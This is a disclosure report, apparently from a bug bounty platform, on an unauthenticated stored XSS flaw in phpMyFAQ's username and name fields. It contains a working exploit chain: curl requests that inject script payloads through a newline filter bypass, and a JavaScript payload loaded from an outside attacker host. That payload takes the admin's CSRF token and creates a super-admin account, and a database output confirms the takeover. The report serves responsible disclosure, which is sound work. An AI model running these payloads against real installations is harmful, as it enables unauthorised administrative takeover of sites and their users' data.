Unauthenticated stored XSS via username & name parameters in thorsten/phpmyfaq
Reported on
Nov 3rd 2022
There is a stored XSS vulnerability due to improper sanitization of usernames. Vulnerable code User.php
line 532:
public function isValidLogin(string $login): bool
{
$login = (string)$login;
if (strlen($login) < $this->loginMinLength || !preg_match($this->validUsername, $login)) {
$this->errors[] = self::ERROR_USER_LOGIN_INVALID;
return false;
}
return true;
}
This code performs a loose filtering on $login
parameter due to the use of preg_match
function. The preg_match
function only validates the first line of user-input. I.e. content after newline isn't validated at all. Meaning that <script>alert(1)</script>
is an invalid username but pwn <script>alert(1)</script>
is a perfectly valid username. Or in URL encoded form: pwn%0A%3Cscript%3Ealert(1)%3C/script%3E
.
Because of this, attackers can supply URL encoded XSS payloads which would bypass the filter such as:
realname=pwn%0A%3Cscript%3Ealert(1)%3C/script%3E&name=pwn%0A%3Cscript%3Ealert(1)%3C/script%3
Later on, the user with a malicious username is inserted into the database.
Finally, whenever admin user visits "List User page". E.g. https://172-105-72-245.ip.linodeusercontent.com/phpmyfaq/admin/?action=user&user_action=listallusers
the admin/user.php
file is executed and attacker supplied input is interpolated into the DOM without any sanitization: <td><?= $user->getLogin() ?></td>
PoC:
Issue the following request to create a user with a username of pwn\n<script>alert(1)</script>
:
curl -i -s -k -X $'POST' \
-H $'Host: 172-105-72-245.ip.linodeusercontent.com' -H $'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0' -H $'Accept: application/json, text/javascript, */*; q=0.01' -H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Content-Length: 137' -H $'Connection: close' \
--data-binary $'lang=en&realname=pwn%0A%3Cscript%3Ealert(1)%3C/script%3E&name=pwn%0A%3Cscript%3Ealert(1)%3C/script%3E&email=kali%40kali.com&is_visible=on' \
$'https://172-105-72-245.ip.linodeusercontent.com/phpmyfaq/ajaxservice.php?action=saveregistration'
Now visit the "List all users page": https://172-105-72-245.ip.linodeusercontent.com/phpmyfaq/admin/?action=user&user_action=listallusers
XSS Payload will be triggered.
Please see occurrences section for a second Unauthenticated stored XSS vulnerability via name
parameter.
Impact
This vulnerability leads to privilege escalation from unauthenticated user to super-admin. This is because its possible to ride admin's session and add another superuser under our control. Example payload:
var parseCSRFToken = async function () {
var response = await fetch('/phpmyfaq/admin/?action=user', {
credentials: "include"
}).then(resp => resp.text())
var parser = new DOMParser();
var d = parser.parseFromString(response, "text/html");
return d.getElementsByName('add_user_csrf')[0].value;
}
var addSuperAdmin = async function (csrfToken, username, email, password) {
var addUserURL = `/phpmyfaq/admin/index.php?action=ajax&ajax=user&ajaxaction=add_user&csrf=${csrfToken}`
return await fetch(addUserURL, {
headers: {
'Accept': 'application/json',
'Content-Type': 'application/json'
},
body: JSON.stringify({
"email": email,
"userName": username,
"realName": username,
"password": password,
"isSuperAdmin": true,
"passwordConfirm": password,
}),
credentials: "include",
method: "POST"
})
}
/*
In this case the installation is prefixed with phpmyfaq. I.e the base URL is:
https://172-105-72-245.ip.linodeusercontent.com/phpmyfaq/
*/
var pwn = async function () {
var response = await fetch('/phpmyfaq/admin/?action=user&user_action=listallusers', {
credentials: "include"
}).then(resp => resp.text())
var username = "privesc"
function isAccountAlreadyCreated(resp) {
var parser = new DOMParser();
var d = parser.parseFromString(resp, "text/html");
return d.getElementsByClassName('table table-striped')[0].textContent.includes(username);
}
//Don't create an account if one is already created
if (isAccountAlreadyCreated(response)) {
return;
}
var csrfToken = await parseCSRFToken();
await addSuperAdmin(csrfToken, username, "pwned@example.com", "password123")
}
pwn();
Which when hosted on attackers server can be retrieved and executed when the following payload is injected:
pwn
<script src="https://172-104-147-158.ip.linodeusercontent.com/payload.js"></script>
Or in cURL form
curl -i -s -k -X $'POST' \
-H $'Host: 172-105-72-245.ip.linodeusercontent.com' -H $'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0' -H $'Accept: application/json, text/javascript, */*; q=0.01' -H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Content-Length: 265' -H $'Connection: close' \
--data-binary $'lang=en&realname=pwn%0A%3Cscript%20src=%22https://172-104-147-158.ip.linodeusercontent.com/payload.js%22%3E%3C/script%3E&name=pwn%0A%3Cscript%20src=%22https://172-104-147-158.ip.linodeusercontent.com/payload.js%22%3E%3C/script%3E&email=kali%40kali.com&is_visible=on' \
$'https://172-105-72-245.ip.linodeusercontent.com/phpmyfaq/ajaxservice.php?action=saveregistration'
When admin opens the "List all users" page, the webapp will reach out to attackers host and execute the malicious JavaScript (with admin cookies), once that is done a new super-admin will be added with a user-controlled password:
mysql> select login, is_superadmin from faquser;
+-----------------------------------------------------------------------------------------+---------------+
| login | is_superadmin |
+-----------------------------------------------------------------------------------------+---------------+
| anonymous | 0 |
| oldie | 0 |
| pwn
<script src="https://172-104-147-158.ip.linodeusercontent.com/payload.js"></script> | 0 |
| privesc | 1 |
+-----------------------------------------------------------------------------------------+---------------+
4 rows in set (0.00 sec)
Thanks for the validation. Would you be willing to issue the CVE once fixed?